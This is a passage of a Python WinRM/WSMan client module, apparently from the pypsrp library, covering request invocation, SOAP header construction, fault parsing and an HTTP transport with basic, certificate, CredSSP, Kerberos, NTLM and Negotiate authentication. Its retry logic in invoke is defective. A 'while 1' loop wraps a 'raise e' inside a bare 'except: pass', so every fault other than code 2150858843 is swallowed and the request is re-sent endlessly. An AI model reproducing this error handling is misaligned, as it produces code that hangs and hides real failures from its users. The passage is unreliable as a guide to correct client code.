bytes, if not set 345 | then the max size if retrieved dynamically from the server 346 | """ 347 | if max_payload_size is None: 348 | config = self.get_server_config() 349 | max_size_kb = config.find("cfg:Config/" 350 | "cfg:MaxEnvelopeSizekb", 351 | namespaces=NAMESPACES).text 352 | max_payload_size = int(max_size_kb) * 1024 353 | 354 | max_envelope_size = self._calc_envelope_size(max_payload_size) 355 | self.max_envelope_size = max_payload_size 356 | self.max_payload_size = max_envelope_size 357 | 358 | def invoke(self, action, resource_uri, resource, option_set=None, 359 | selector_set=None, timeout=None): 360 | """ 361 | Send a generic WSMan request to the host. 362 | 363 | :param action: The action to run, this relates to the wsa:Action header 364 | field. 365 | :param resource_uri: The resource URI that the action relates to, this 366 | relates to the wsman:ResourceURI header field. 367 | :param resource: This is an optional xml.etree.ElementTree Element to 368 | be added to the s:Body section. 369 | :param option_set: a wsman.OptionSet to add to the request 370 | :param selector_set: a wsman.SelectorSet to add to the request 371 | :param timeout: Override the default wsman:OperationTimeout value for 372 | the request, this should be an int in seconds. 373 | :return: The ET Element of the response XML from the server 374 | """ 375 | s = NAMESPACES['s'] 376 | envelope = ET.Element("{%s}Envelope" % s) 377 | 378 | header = self._create_header(action, resource_uri, option_set, 379 | selector_set, timeout) 380 | envelope.append(header) 381 | 382 | body = ET.SubElement(envelope, "{%s}Body" % s) 383 | if resource is not None: 384 | body.append(resource) 385 | 386 | message_id = header.find("wsa:MessageID", namespaces=NAMESPACES).text 387 | xml = ET.tostring(envelope, encoding='utf-8', method='xml') 388 | 389 | try: 390 | response = self.transport.send(xml) 391 | except WinRMTransportError as err: 392 | try: 393 | # try and parse the XML and get the WSManFault 394 | while 1: 395 | try: 396 | e = self._parse_wsman_fault(err.response_text) 397 | #2150858843 398 | if e.code != 2150858843: 399 | raise e 400 | #time.sleep(1) 401 | response = self.transport.send(xml) 402 | break 403 | except: 404 | pass 405 | except ET.ParseError: 406 | # no XML message is present so not a WSManFault error 407 | log.error("Failed to parse WSManFault message on WinRM error" 408 | " response, raising original WinRMTransportError") 409 | raise err 410 | 411 | response_xml = ET.fromstring(response) 412 | relates_to = response_xml.find("s:Header/wsa:RelatesTo", 413 | namespaces=NAMESPACES).text 414 | 415 | if message_id != relates_to: 416 | raise WinRMError("Received related id does not match related " 417 | "expected message id: Sent: %s, Received: %s" 418 | % (message_id, relates_to)) 419 | return response_xml 420 | 421 | def _calc_envelope_size(self, max_envelope_size): 422 | # get a mock Header which should cover most cases where large fragments 423 | # are used 424 | empty_uuid = "00000000-0000-0000-0000-000000000000" 425 | 426 | selector_set = SelectorSet() 427 | selector_set.add_option("ShellId", empty_uuid) 428 | header = self._create_header( 429 | WSManAction.SEND, 430 | "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd", 431 | selector_set=selector_set 432 | ) 433 | 434 | # get a skeleton Body to calculate the size without the payload 435 | rsp = NAMESPACES['rsp'] 436 | send = ET.Element("{%s}Send" % rsp) 437 | ET.SubElement(send, "{%s}Stream" % rsp, Name="stdin", 438 | CommandId=empty_uuid).text = "" 439 | 440 | envelope = ET.Element("{%s}Envelope" % NAMESPACES['s']) 441 | envelope.append(header) 442 | envelope.append(send) 443 | envelope = ET.tostring(envelope, encoding='utf-8', method='xml') 444 | 445 | # add the Header and Envelope and pad some extra bytes to cover 446 | # slightly different scenarios, multiple options, different body types 447 | # while this isn't perfect it's better than wasting CPU cycles 448 | # calculating it per message and a few bytes don't make too much of a 449 | # difference 450 | envelope_size = len(envelope) + 256 451 | max_bytes_size = max_envelope_size - envelope_size 452 | 453 | # Data is sent as Base64 encoded which inflates the size, we need to 454 | # calculate how large that can be 455 | base64_size = int(max_bytes_size / 4 * 3) 456 | return base64_size 457 | 458 | def _create_header(self, action, resource_uri, option_set=None, 459 | selector_set=None, timeout=None): 460 | log.debug("Creating WSMan header (Action: %s, Resource URI: %s, " 461 | "Option Set: %s, Selector Set: %s" 462 | % (action, resource_uri, option_set, selector_set)) 463 | s = NAMESPACES['s'] 464 | wsa = NAMESPACES['wsa'] 465 | wsman = NAMESPACES['wsman'] 466 | wsmv = NAMESPACES['wsmv'] 467 | xml = NAMESPACES['xml'] 468 | 469 | header = ET.Element("{%s}Header" % s) 470 | 471 | ET.SubElement( 472 | header, 473 | "{%s}Action" % wsa, 474 | attrib={"{%s}mustUnderstand" % s: "true"} 475 | ).text = action 476 | 477 | ET.SubElement( 478 | header, 479 | "{%s}DataLocale" % wsmv, 480 | attrib={"{%s}mustUnderstand" % s: "false", 481 | "{%s}lang" % xml: self.data_locale} 482 | ) 483 | 484 | ET.SubElement( 485 | header, 486 | "{%s}Locale" % wsman, 487 | attrib={"{%s}mustUnderstand" % s: "false", 488 | "{%s}lang" % xml: self.locale} 489 | ) 490 | 491 | ET.SubElement( 492 | header, 493 | "{%s}MaxEnvelopeSize" % wsman, 494 | attrib={"{%s}mustUnderstand" % s: "true"} 495 | ).text = str(self.max_envelope_size) 496 | 497 | ET.SubElement(header, "{%s}MessageID" % wsa).text = \ 498 | "uuid:%s" % str(uuid.uuid4()).upper() 499 | 500 | ET.SubElement( 501 | header, 502 | "{%s}OperationTimeout" % wsman 503 | ).text = "PT%sS" % str(timeout or self.operation_timeout) 504 | 505 | reply_to = ET.SubElement(header, "{%s}ReplyTo" % wsa) 506 | ET.SubElement( 507 | reply_to, 508 | "{%s}Address" % wsa, 509 | attrib={"{%s}mustUnderstand" % s: "true"} 510 | ).text = "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/" \ 511 | "anonymous" 512 | 513 | ET.SubElement( 514 | header, 515 | "{%s}ResourceURI" % wsman, 516 | attrib={"{%s}mustUnderstand" % s: "true"} 517 | ).text = resource_uri 518 | 519 | ET.SubElement( 520 | header, 521 | "{%s}SessionId" % wsmv, 522 | attrib={"{%s}mustUnderstand" % s: "false"} 523 | ).text = "uuid:%s" % str(self.session_id).upper() 524 | 525 | ET.SubElement(header, "{%s}To" % wsa).text = self.transport.endpoint 526 | 527 | if option_set is not None: 528 | header.append(option_set.pack()) 529 | 530 | if selector_set is not None: 531 | header.append(selector_set.pack()) 532 | 533 | return header 534 | 535 | def close(self): 536 | self.transport.close() 537 | 538 | @staticmethod 539 | def _parse_wsman_fault(xml_text): 540 | xml = ET.fromstring(xml_text) 541 | code = None 542 | reason = None 543 | machine = None 544 | provider = None 545 | provider_path = None 546 | provider_fault = None 547 | 548 | fault = xml.find("s:Body/s:Fault", namespaces=NAMESPACES) 549 | if fault is not None: 550 | code_info = fault.find("s:Code/s:Subcode/s:Value", 551 | namespaces=NAMESPACES) 552 | if code_info is not None: 553 | code = code_info.text 554 | else: 555 | code_info = fault.find("s:Code/s:Value", 556 | namespaces=NAMESPACES) 557 | if code_info is not None: 558 | code = code_info.text 559 | 560 | reason_info = fault.find("s:Reason/s:Text", 561 | namespaces=NAMESPACES) 562 | if reason_info is not None: 563 | reason = reason_info.text 564 | 565 | wsman_fault = fault.find("s:Detail/wsmanfault:WSManFault", 566 | namespaces=NAMESPACES) 567 | if wsman_fault is not None: 568 | code = wsman_fault.attrib.get('Code', code) 569 | machine = wsman_fault.attrib.get('Machine') 570 | 571 | message_info = wsman_fault.find("wsmanfault:Message", 572 | namespaces=NAMESPACES) 573 | if message_info is not None: 574 | # message may still not be set, fall back to the existing 575 | # reason value from the base soap Fault element 576 | reason = message_info.text if message_info.text else reason 577 | 578 | provider_info = wsman_fault.find("wsmanfault:Message/" 579 | "wsmanfault:ProviderFault", 580 | namespaces=NAMESPACES) 581 | if provider_info is not None: 582 | provider = provider_info.attrib.get('provider') 583 | provider_path = provider_info.attrib.get('path') 584 | provider_fault = provider_info.text 585 | 586 | # lastly try and cleanup the value of the parameters 587 | try: 588 | code = int(code) 589 | except (TypeError, ValueError): 590 | pass 591 | 592 | try: 593 | reason = reason.strip() 594 | except AttributeError: 595 | pass 596 | 597 | try: 598 | provider_fault = provider_fault.strip() 599 | except AttributeError: 600 | pass 601 | 602 | return WSManFaultError(code, machine, reason, provider, 603 | provider_path, 604 | provider_fault) 605 | 606 | 607 | class _WSManSet(object): 608 | 609 | def __init__(self, element_name, child_element_name, must_understand): 610 | self.element_name = element_name 611 | self.child_element_name = child_element_name 612 | self.must_understand = must_understand 613 | self.values = [] 614 | 615 | def __str__(self): 616 | # can't just str({}) as the ordering is important 617 | entry_values = [] 618 | for value in self.values: 619 | entry_values.append("'%s': '%s'" % (value[0], value[1])) 620 | 621 | string_value = "{%s}" % ", ".join(entry_values) 622 | return string_value 623 | 624 | def add_option(self, name, value, attributes=None): 625 | attributes = attributes if attributes is not None else {} 626 | self.values.append((name, value, attributes)) 627 | 628 | def pack(self): 629 | s = NAMESPACES['s'] 630 | wsman = NAMESPACES['wsman'] 631 | element = ET.Element("{%s}%s" % (wsman, self.element_name)) 632 | if self.must_understand: 633 | element.attrib['{%s}mustUnderstand' % s] = "true" 634 | 635 | for key, value, attributes in self.values: 636 | ET.SubElement(element, "{%s}%s" % (wsman, self.child_element_name), 637 | Name=key, 638 | attrib=attributes).text = str(value) 639 | 640 | return element 641 | 642 | 643 | class OptionSet(_WSManSet): 644 | 645 | def __init__(self): 646 | super(OptionSet, self).__init__("OptionSet", "Option", True) 647 | 648 | 649 | class SelectorSet(_WSManSet): 650 | 651 | def __init__(self): 652 | super(SelectorSet, self).__init__("SelectorSet", "Selector", False) 653 | 654 | 655 | # this should not be used outside of this class 656 | class _TransportHTTP(object): 657 | 658 | def __init__(self, server, port=None, username=None, password=None, 659 | ssl=True, path="wsman", auth="negotiate", 660 | cert_validation=True, connection_timeout=30, 661 | encryption='auto', proxy=None, no_proxy=False, 662 | read_timeout=30, reconnection_retries=0, 663 | reconnection_backoff=2.0, **kwargs): 664 | self.server = server 665 | self.port = port if port is not None else (5986 if ssl else 5985) 666 | self.username = username 667 | self.password = password 668 | self.ssl = ssl 669 | self.path = path 670 | 671 | if auth not in SUPPORTED_AUTHS: 672 | raise ValueError("The specified auth '%s' is not supported, " 673 | "please select one of '%s'" 674 | % (auth, ", ".join(SUPPORTED_AUTHS))) 675 | self.auth = auth 676 | self.cert_validation = cert_validation 677 | self.connection_timeout = connection_timeout 678 | self.read_timeout = read_timeout 679 | self.reconnection_retries = reconnection_retries 680 | self.reconnection_backoff = reconnection_backoff 681 | 682 | # determine the message encryption logic 683 | if encryption not in ["auto", "always", "never"]: 684 | raise ValueError("The encryption value '%s' must be auto, " 685 | "always, or never" % encryption) 686 | enc_providers = ["credssp", "kerberos", "negotiate", "ntlm"] 687 | if ssl: 688 | # msg's are automatically encrypted with TLS, we only want message 689 | # encryption if always was specified 690 | self.wrap_required = encryption == "always" 691 | if self.wrap_required and self.auth not in enc_providers: 692 | raise ValueError( 693 | "Cannot use message encryption with auth '%s', either set " 694 | "encryption='auto' or use one of the following auth " 695 | "providers: %s" % (self.auth, ", ".join(enc_providers)) 696 | ) 697 | else: 698 | # msg's should always be encrypted when not using SSL, unless the 699 | # user specifies to never encrypt 700 | self.wrap_required = not encryption == "never" 701 | if self.wrap_required and self.auth not in enc_providers: 702 | raise ValueError( 703 | "Cannot use message encryption with auth '%s', either set " 704 | "encryption='never', use ssl=True or use one of the " 705 | "following auth providers: %s" 706 | % (self.auth, ", ".join(enc_providers)) 707 | ) 708 | self.encryption = None 709 | 710 | self.proxy = proxy 711 | self.no_proxy = no_proxy 712 | 713 | for kwarg_list in AUTH_KWARGS.values(): 714 | for kwarg in kwarg_list: 715 | setattr(self, kwarg, kwargs.get(kwarg, None)) 716 | 717 | self.endpoint = self._create_endpoint(self.ssl, self.server, self.port, 718 | self.path) 719 | log.debug("Initialising HTTP transport for endpoint: %s, auth: %s, " 720 | "user: %s" % (self.endpoint, self.username, self.auth)) 721 | self.session = None 722 | 723 | # used when building tests, keep commented out 724 | # self._test_messages = [] 725 | 726 | def close(self): 727 | if self.session: 728 | self.session.close() 729 | 730 | def send(self, message): 731 | hostname = get_hostname(self.endpoint) 732 | if self.session is None: 733 | self.session = self._build_session() 734 | 735 | # need to send an initial blank message to setup the security 736 | # context required for encryption 737 | if self.wrap_required: 738 | request = requests.Request('POST', self.endpoint, data=None) 739 | prep_request = self.session.prepare_request(request) 740 | self._send_request(prep_request) 741 | 742 | protocol = WinRMEncryption.SPNEGO 743 | if isinstance(self.session.auth, HttpCredSSPAuth): 744 | protocol = WinRMEncryption.CREDSSP 745 | elif self.session.auth.contexts[hostname].response_auth_header == 'kerberos': 746 | # When Kerberos (not Negotiate) was used, we need to send a special protocol value and not SPNEGO. 747 | protocol = WinRMEncryption.KERBEROS 748 | 749 | self.encryption = WinRMEncryption(self.session.auth.contexts[hostname], protocol) 750 | 751 | log.debug("Sending message: %s" % message) 752 | # for testing, keep commented out 753 | # self._test_messages.append({"request": message.decode('utf-8'), 754 | # "response": None}) 755 | 756 | headers = self.session.headers 757 | if self.wrap_required: 758 | content_type, payload = self.encryption.wrap_message(message) 759 | type_header = '%s;protocol="%s";boundary="Encrypted Boundary"' \ 760 | % (content_type, self.encryption.protocol) 761 | headers.update({ 762 | 'Content-Type': type_header, 763 | 'Content-Length': str(len(payload)), 764 | }) 765 | else: 766 | payload = message 767 | headers['Content-Type'] = "application/soap+xml;charset=UTF-8" 768 | 769 | request = requests.Request('POST', self.endpoint, data=payload, 770 | headers=headers) 771 | prep_request = self.session.prepare_request(request) 772 | return self._send_request(prep_request) 773 | 774 | def _send_request(self, request): 775 | response = self.session.send(request, timeout=( 776 | self.connection_timeout, self.read_timeout 777 | )) 778 | 779 | content_type = response.headers.get('content-type', "") 780 | if content_type.startswith("multipart/encrypted;") or content_type.startswith("multipart/x-multi-encrypted;"): 781 | boundary = re.search('boundary=[''|\\"](.*)[''|\\"]', response.headers['content-type']).group(1) 782 | response_content = self.encryption.unwrap_message(response.content, to_unicode(boundary)) 783 | response_text = to_string(response_content) 784 | else: 785 | response_content = response.content 786 | response_text = response.text if response_content else '' 787 | 788 | log.debug("Received message: %s" % response_text) 789 | # for testing, keep commented out 790 | # self._test_messages[-1]['response'] = response_text 791 | try: 792 | response.raise_for_status() 793 | except requests.HTTPError as err: 794 | response = err.response 795 | if response.status_code == 401: 796 | raise AuthenticationError("Failed to authenticate the user %s " 797 | "with %s" 798 | % (self.username, self.auth)) 799 | else: 800 | code = response.status_code 801 | raise WinRMTransportError('http', code, response_text) 802 | 803 | return response_content 804 | 805 | def _build_session(self): 806 | log.debug("Building requests session with auth %s" % self.auth) 807 | self._suppress_library_warnings() 808 | 809 | session = requests.Session() 810 | session.headers['User-Agent'] = "Python PSRP Client" 811 | 812 | # requests defaults to 'Accept-Encoding: gzip, default' which normally doesn't matter on vanila WinRM but for 813 | # Exchange endpoints hosted on IIS they actually compress it with 1 of the 2 algorithms. By explicitly setting 814 | # identity we are telling the server not to transform (compress) the data using the HTTP methods which we don't 815 | # support. https://tools.ietf.org/html/rfc7231#section-5.3.4 816 | session.headers['Accept-Encoding'] = 'identity' 817 | 818 | # get the env requests settings 819 | session.trust_env = True 820 | settings = session.merge_environment_settings(url=self.endpoint, 821 | proxies={}, 822 | stream=None, 823 | verify=None, 824 | cert=None) 825 | 826 | # set the proxy config 827 | orig_proxy = session.proxies 828 | session.proxies = settings['proxies'] 829 | if self.proxy is not None: 830 | proxy_key = 'https' if self.ssl else 'http' 831 | session.proxies = { 832 | proxy_key: self.proxy 833 | } 834 | elif self.no_proxy: 835 | session.proxies = orig_proxy 836 | 837 | # Retry on connection errors, with a backoff factor 838 | retry_kwargs = { 839 | 'total': self.reconnection_retries, 840 | 'connect': self.reconnection_retries, 841 | 'status': self.reconnection_retries, 842 | 'read': 0, 843 | 'backoff_factor': self.reconnection_backoff, 844 | 'status_forcelist': (425, 429, 503), 845 | } 846 | try: 847 | retries = Retry(**retry_kwargs) 848 | except TypeError: 849 | # Status was added in urllib3 >= 1.21 (Requests >= 2.14.0), remove 850 | # the status retry counter and try again. The user should upgrade 851 | # to a newer version 852 | log.warning("Using an older requests version that without support " 853 | "for status retries, ignoring.", exc_info=True) 854 | del retry_kwargs['status'] 855 | retries = Retry(**retry_kwargs) 856 | 857 | session.mount('http://', requests.adapters.HTTPAdapter(max_retries=retries)) 858 | session.mount('https://', requests.adapters.HTTPAdapter(max_retries=retries)) 859 | 860 | # set cert validation config 861 | session.verify = self.cert_validation 862 | 863 | # if cert_validation is a bool (no path specified), not False and there 864 | # are env settings for verification, set those env settings 865 | if isinstance(self.cert_validation, bool) and self.cert_validation \ 866 | and settings['verify'] is not None: 867 | session.verify = settings['verify'] 868 | 869 | build_auth = getattr(self, "_build_auth_%s" % self.auth) 870 | build_auth(session) 871 | return session 872 | 873 | def _build_auth_basic(self, session): 874 | if self.username is None: 875 | raise ValueError("For basic auth, the username must be specified") 876 | if self.password is None: 877 | raise ValueError("For basic auth, the password must be specified") 878 | 879 | session.auth = requests.auth.HTTPBasicAuth(username=self.username, 880 | password=self.password) 881 | 882 | def _build_auth_certificate(self, session): 883 | if self.certificate_key_pem is None: 884 | raise ValueError("For certificate auth, the path to the " 885 | "certificate key pem file must be specified with " 886 | "certificate_key_pem") 887 | if self.certificate_pem is None: 888 | raise ValueError("For certificate auth, the path to the " 889 | "certificate pem file must be specified with " 890 | "certificate_pem") 891 | if self.ssl is False: 892 | raise ValueError("For certificate auth, SSL must be used") 893 | 894 | session.cert = (self.certificate_pem, self.certificate_key_pem) 895 | session.headers['Authorization'] = "http://schemas.dmtf.org/wbem/" \ 896 | "wsman/1/wsman/secprofile/" \ 897 | "https/mutual" 898 | 899 | def _build_auth_credssp(self, session): 900 | if self.username is None: 901 | raise ValueError("For credssp auth, the username must be " 902 | "specified") 903 | if self.password is None: 904 | raise ValueError("For credssp auth, the password must be " 905 | "specified") 906 | 907 | kwargs = self._get_auth_kwargs('credssp') 908 | session.auth = HttpCredSSPAuth(username=self.username, 909 | password=self.password, 910 | **kwargs) 911 | 912 | def _build_auth_kerberos(self, session): 913 | self._build_auth_negotiate(session, "kerberos") 914 | 915 | def _build_auth_negotiate(self, session, auth_provider="negotiate"): 916 | kwargs = self._get_auth_kwargs('negotiate') 917 | 918 | session.auth = HTTPNegotiateAuth(username=self.username, 919 | password=self.password, 920 | auth_provider=auth_provider, 921 | wrap_required=self.wrap_required, 922 | **kwargs) 923 | 924 | def _build_auth_ntlm(self, session): 925 | self._build_auth_negotiate(session, "ntlm") 926 | 927 | def _get_auth_kwargs(self, auth_provider): 928 | kwargs = {} 929 | for kwarg in AUTH_KWARGS[auth_provider]: 930 | kwarg_value = getattr(self, kwarg, None) 931 | if kwarg_value is not None: 932 | kwarg_key = kwarg[len(auth_provider) + 1:] 933 | kwargs[kwarg_key] = kwarg_value 934 | 935 | return kwargs 936 | 937 | def _suppress_library_warnings(self): 938 | # try to suppress known warnings from requests if possible 939 | try: 940 | from requests.packages.urllib3.exceptions import \ 941 | InsecurePlatformWarning 942 | warnings.simplefilter('ignore', category=InsecurePlatformWarning) 943 | except: # NOQA: E722; # pragma: no cover 944 | pass 945 | 946 | try: 947 | from requests.packages.urllib3.exceptions import SNIMissingWarning 948 | warnings.simplefilter('ignore', category=SNIMissingWarning) 949 | except: # NOQA: E722; # pragma: no cover 950 | pass 951 | 952 | # if we're explicitly ignoring validation, try to suppress 953 | # InsecureRequestWarning, since the user opted-in 954 | if self.cert_validation is False: 955 | try: 956 | from requests.packages.urllib3.exceptions import \ 957 | InsecureRequestWarning 958 | warnings.simplefilter('ignore', 959 | category=InsecureRequestWarning) 960 | except: # NOQA: E722; # pragma: no cover 961 | pass 962 | 963 | @staticmethod 964 | def _create_endpoint(ssl, server, port, path): 965 | scheme = "https" if ssl else "http" 966 | 967 | # Check if the server is an IPv6 Address, enclose in [] if it is 968 | try: 969 | address = ipaddress.IPv6Address(to_unicode(server)) 970 | except ipaddress.AddressValueError: 971 | pass 972 | else: 973 | server = "[%s]" % address.compressed 974 | 975 | endpoint = "%s://%s:%s/%s" % (scheme, server, port, path) 976 | return endpoint 977 | --------------------------------------------------------------------------------